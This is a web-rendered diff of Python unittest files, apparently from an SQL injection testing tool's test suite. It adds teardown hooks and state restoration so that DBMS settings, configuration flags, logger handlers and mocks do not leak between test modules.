||||||
from lib.core.data import kb, conf
|
from lib.core.data import kb, conf
|
||||||
|
|
@ -173,3 +173,7 @@ class TestConfigFileParser(unittest.TestCase):
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
unittest.main()
|
unittest.main()
|
||||||
|
|
||||||
|
|
||||||
|
def tearDownModule():
|
||||||
|
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||||
|
|
|
||||||
|
|
@ -28,6 +28,24 @@ from lib.core.settings import (JSON_RECOGNITION_REGEX, JSON_LIKE_RECOGNITION_REG
|
||||||
# change there is reflected here too.
|
# change there is reflected here too.
|
||||||
MARK = CUSTOM_INJECTION_MARK_CHAR
|
MARK = CUSTOM_INJECTION_MARK_CHAR
|
||||||
|
|
||||||
|
# the _drive_* helpers set sticky conf/kb flags (notably conf.hpp, which changes queryPage
|
||||||
|
# behaviour) without restoring them; snapshot/restore at the module boundary so they can't leak
|
||||||
|
_PM_CONF_KEYS = ("hpp", "skipUrlEncode", "method", "paramDel", "url", "data", "parameters", "paramDict")
|
||||||
|
_PM_KB_KEYS = ("tamperFunctions", "postHint", "customInjectionMark", "postUrlEncode", "postSpaceToPlus", "processUserMarks")
|
||||||
|
_pm_saved = {}
|
||||||
|
|
||||||
|
def setUpModule():
|
||||||
|
from lib.core.data import conf, kb
|
||||||
|
for k in _PM_CONF_KEYS:
|
||||||
|
_pm_saved[("conf", k)] = conf.get(k)
|
||||||
|
for k in _PM_KB_KEYS:
|
||||||
|
_pm_saved[("kb", k)] = kb.get(k)
|
||||||
|
|
||||||
|
def tearDownModule():
|
||||||
|
from lib.core.data import conf, kb
|
||||||
|
for (scope, k), v in _pm_saved.items():
|
||||||
|
(conf if scope == "conf" else kb)[k] = v
|
||||||
|
|
||||||
|
|
||||||
def classify(d):
|
def classify(d):
|
||||||
if re.search(JSON_RECOGNITION_REGEX, d):
|
if re.search(JSON_RECOGNITION_REGEX, d):
|
||||||
|
|
|
||||||
|
|
@ -28,7 +28,7 @@ import sys
|
||||||
import unittest
|
import unittest
|
||||||
|
|
||||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
from _testutils import bootstrap, for_all, set_dbms
|
from _testutils import bootstrap, for_all, set_dbms, reset_dbms
|
||||||
bootstrap()
|
bootstrap()
|
||||||
|
|
||||||
from extra.cloak.cloak import cloak, decloak
|
from extra.cloak.cloak import cloak, decloak
|
||||||
|
|
@ -272,3 +272,7 @@ class TestRobustness(unittest.TestCase):
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
unittest.main()
|
unittest.main()
|
||||||
|
|
||||||
|
|
||||||
|
def tearDownModule():
|
||||||
|
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||||
|
|
|
||||||
|
|
@ -83,7 +83,10 @@ class TestPurge(unittest.TestCase):
|
||||||
nonempty = [p for p in survivors if os.path.getsize(p) > 0]
|
nonempty = [p for p in survivors if os.path.getsize(p) > 0]
|
||||||
self.assertEqual(nonempty, [], msg="files were not truncated to zero: %r" % nonempty)
|
self.assertEqual(nonempty, [], msg="files were not truncated to zero: %r" % nonempty)
|
||||||
|
|
||||||
blob = b"".join(open(p, "rb").read() for p in survivors)
|
blob = b""
|
||||||
|
for p in survivors:
|
||||||
|
with open(p, "rb") as fh:
|
||||||
|
blob += fh.read()
|
||||||
for secret in plaintexts.values():
|
for secret in plaintexts.values():
|
||||||
self.assertNotIn(secret.encode("utf-8"), blob,
|
self.assertNotIn(secret.encode("utf-8"), blob,
|
||||||
msg="original plaintext %r survived the purge" % secret)
|
msg="original plaintext %r survived the purge" % secret)
|
||||||
|
|
|
||||||
|
|
@ -38,6 +38,12 @@ class _CollectorCase(unittest.TestCase):
|
||||||
|
|
||||||
def tearDown(self):
|
def tearDown(self):
|
||||||
kb.partRun = self._saved_partRun
|
kb.partRun = self._saved_partRun
|
||||||
|
# setupReportCollector() attaches a ReportErrorRecorder to the GLOBAL logger; drop it so it does
|
||||||
|
# not leak a handler bound to a now-closed collector into later tests
|
||||||
|
from lib.core.data import logger
|
||||||
|
for handler in list(logger.handlers):
|
||||||
|
if isinstance(handler, api.ReportErrorRecorder):
|
||||||
|
logger.removeHandler(handler)
|
||||||
try:
|
try:
|
||||||
self.c.disconnect()
|
self.c.disconnect()
|
||||||
except Exception:
|
except Exception:
|
||||||
|
|
|
||||||
|
|
@ -20,7 +20,7 @@ import sys
|
||||||
import unittest
|
import unittest
|
||||||
|
|
||||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
from _testutils import bootstrap, set_dbms
|
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||||
|
|
||||||
bootstrap()
|
bootstrap()
|
||||||
|
|
||||||
|
|
@ -548,3 +548,7 @@ class TestSearchInference(_SearchBase):
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
unittest.main()
|
unittest.main()
|
||||||
|
|
||||||
|
|
||||||
|
def tearDownModule():
|
||||||
|
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules
|
||||||
|
|
|
||||||
|
|
@ -191,6 +191,7 @@ class TestEntityConversion(unittest.TestCase):
|
||||||
class TestCustomEntitydefs(unittest.TestCase):
|
class TestCustomEntitydefs(unittest.TestCase):
|
||||||
def test_custom_entity(self):
|
def test_custom_entity(self):
|
||||||
p = RecordingParser()
|
p = RecordingParser()
|
||||||
|
p.entitydefs = dict(p.entitydefs) # shadow the shared SGMLParser class dict so 'copy' doesn't leak process-wide
|
||||||
p.entitydefs["copy"] = "\xa9"
|
p.entitydefs["copy"] = "\xa9"
|
||||||
p.feed("©")
|
p.feed("©")
|
||||||
p.close()
|
p.close()
|
||||||
|
|
|
||||||
|
|
@ -393,8 +393,7 @@ class TestExecuteCommand(unittest.TestCase):
|
||||||
|
|
||||||
def tearDown(self):
|
def tearDown(self):
|
||||||
ssti._send = self.original_send
|
ssti._send = self.original_send
|
||||||
if self.original_dumper is not None:
|
ssti.conf.dumper = self.original_dumper # restore unconditionally (was None -> don't leak the mock dumper)
|
||||||
ssti.conf.dumper = self.original_dumper
|
|
||||||
|
|
||||||
def test_error_page_skipped(self):
|
def test_error_page_skipped(self):
|
||||||
"""RCE payload that triggers a template error is skipped; next payload tried."""
|
"""RCE payload that triggers a template error is skipped; next payload tried."""
|
||||||
|
|
|
||||||
Some files were not shown because too many files have changed in this diff Show more
Loading…
Add table
Add a link
Reference in a new issue